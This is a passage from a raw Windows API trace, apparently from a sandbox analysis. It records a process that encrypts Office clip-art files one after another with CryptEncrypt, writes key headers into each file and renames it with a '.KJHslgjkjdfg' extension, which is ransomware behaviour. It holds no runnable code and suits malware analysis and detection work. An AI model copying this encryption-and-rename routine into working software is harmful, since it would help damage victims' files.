lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.043] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.043] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.043] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.043] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.043] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.043] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.043] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.043] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6afc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6afc, lpOverlapped=0x0) returned 1 [0188.045] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6b00, dwBufLen=0x6b00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6b00) returned 1 [0188.045] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.046] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6b00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6b00, lpOverlapped=0x0) returned 1 [0188.046] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.046] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.046] SetEndOfFile (hFile=0x114) returned 1 [0188.049] GetProcessHeap () returned 0x2a0000 [0188.049] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.049] GetProcessHeap () returned 0x2a0000 [0188.049] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.049] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg.kjhslgjkjdfg")) returned 1 [0188.051] CloseHandle (hObject=0x114) returned 1 [0188.051] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b7f200, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80b7f200, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02058U.BMP", cAlternateFileName="")) returned 1 [0188.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.052] GetProcessHeap () returned 0x2a0000 [0188.052] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.052] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.052] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.052] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.052] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.052] GetProcessHeap () returned 0x2a0000 [0188.052] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.052] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.052] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.052] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.055] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.055] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.055] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.055] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.055] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.055] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.055] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.055] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.055] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0188.056] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0) returned 1 [0188.057] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.057] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7ce0, lpOverlapped=0x0) returned 1 [0188.057] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.057] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.057] SetEndOfFile (hFile=0x114) returned 1 [0188.060] GetProcessHeap () returned 0x2a0000 [0188.060] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.060] GetProcessHeap () returned 0x2a0000 [0188.060] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.060] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp.kjhslgjkjdfg")) returned 1 [0188.062] CloseHandle (hObject=0x114) returned 1 [0188.062] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c73f500, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c73f500, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02062U.BMP", cAlternateFileName="")) returned 1 [0188.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.063] GetProcessHeap () returned 0x2a0000 [0188.063] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.063] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.063] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.064] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.064] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.064] GetProcessHeap () returned 0x2a0000 [0188.064] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.064] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.064] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.064] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.096] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.097] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.097] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.097] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.097] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.097] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.097] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.097] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.097] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0188.099] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0) returned 1 [0188.099] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.099] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7ce0, lpOverlapped=0x0) returned 1 [0188.100] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.100] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.100] SetEndOfFile (hFile=0x114) returned 1 [0188.104] GetProcessHeap () returned 0x2a0000 [0188.104] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.104] GetProcessHeap () returned 0x2a0000 [0188.104] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.104] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp.kjhslgjkjdfg")) returned 1 [0188.106] CloseHandle (hObject=0x114) returned 1 [0188.106] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa943ea00, ftCreationTime.dwHighDateTime=0x1bd4e5c, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa943ea00, ftLastWriteTime.dwHighDateTime=0x1bd4e5c, nFileSizeHigh=0x0, nFileSizeLow=0x7297, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02069J.JPG", cAlternateFileName="")) returned 1 [0188.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.107] GetProcessHeap () returned 0x2a0000 [0188.107] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.107] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.107] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.108] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x9, lpOverlapped=0x0) returned 1 [0188.110] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.110] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.110] GetProcessHeap () returned 0x2a0000 [0188.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.110] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.110] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.110] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.110] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.110] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.110] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.110] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.111] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.111] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.111] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.111] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.111] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7297, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7297, lpOverlapped=0x0) returned 1 [0188.118] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x72a0, dwBufLen=0x72a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x72a0) returned 1 [0188.119] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.119] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x72a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x72a0, lpOverlapped=0x0) returned 1 [0188.119] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.119] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.119] SetEndOfFile (hFile=0x114) returned 1 [0188.122] GetProcessHeap () returned 0x2a0000 [0188.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.122] GetProcessHeap () returned 0x2a0000 [0188.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.122] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg.kjhslgjkjdfg")) returned 1 [0188.131] CloseHandle (hObject=0x114) returned 1 [0188.131] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67af4100, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67af4100, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02071U.BMP", cAlternateFileName="")) returned 1 [0188.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.133] GetProcessHeap () returned 0x2a0000 [0188.133] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.133] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.133] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.133] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.138] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.138] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.138] GetProcessHeap () returned 0x2a0000 [0188.138] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.138] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.138] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.138] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.138] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.138] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.138] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.138] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.138] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.138] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.139] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.139] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.139] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7db8, lpOverlapped=0x0) returned 1 [0188.147] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0, dwBufLen=0x7dc0 